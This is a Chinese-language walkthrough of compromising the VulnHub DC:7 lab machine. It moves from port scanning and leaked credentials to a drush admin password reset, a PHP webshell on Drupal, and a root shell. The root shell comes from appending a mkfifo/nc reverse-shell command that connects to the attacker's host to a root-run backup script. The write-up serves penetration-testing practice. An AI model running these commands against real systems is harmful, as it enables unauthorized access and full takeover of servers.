前言
靶机渗透DC:7-vulnhub
靶机IP:192.168.0.106
KALIIP:192.168.0.9
师傅告诉我说,做靶机渗透要把想到的,感觉可行的都去尝试,然后要去把握整体思路,最后不要着急,慢慢来。
渗透过程
扫描端口

这里有个ssh端口,还有一个80端口
ssh端口的话,应该是要获取到一个用户。渗透测试,发散性思维。
80端口先看着

可以想到,前台没有什么可用信息,估计又是通过后台上传shell,然后反弹shell,再做提权处理。
现在的问题就是缺一个能登录后台的账号密码。
在这个页面底下有一个

靶机是有给提示的,就是不要局限于靶机之内,所以google搜一下@DC7USER


这里提供一个mysql的配置文件,我尝试过远程登录mysql,发现不可以的。
然后看看能否有撞库存在,先前的ssh端口
1 | $username = "dc7user"; |

我想它这里提供一个用户是因为能由ssh登录,去重置admin用户的密码
1 | 运行 drush user-password someuser --password="password" 命令重设用户密码。 |
并且看到html文件是一个可读可写的文件夹

参考:https://zhidao.baidu.com/question/265508425.html
所以我们可以在这里执行重置admin密码的操作
1 | drush user-password admin --password="123456" |

这样子就可以登录到后台,通过修改模块,或者插件漏洞写入webshell.

接着通过这个账号,找找有没有哪里可以修改模块之类的。
content板块进入

这个basic page是可以修改的
但是是没有php模块的

安装一个php模块
1 | https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz |


可行


然后写入shell,下载地址:pentestmonkey


看到有一封邮件

发现www-data对这个文件有可执行权限.但是它的所有者是root.

通过www-data修改bakups.sh
1 | echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.9 7777 >/tmp/f" >> backups.sh |

最后getshell

总结
前言的那段话,再来一遍。多尝试,然后耐心。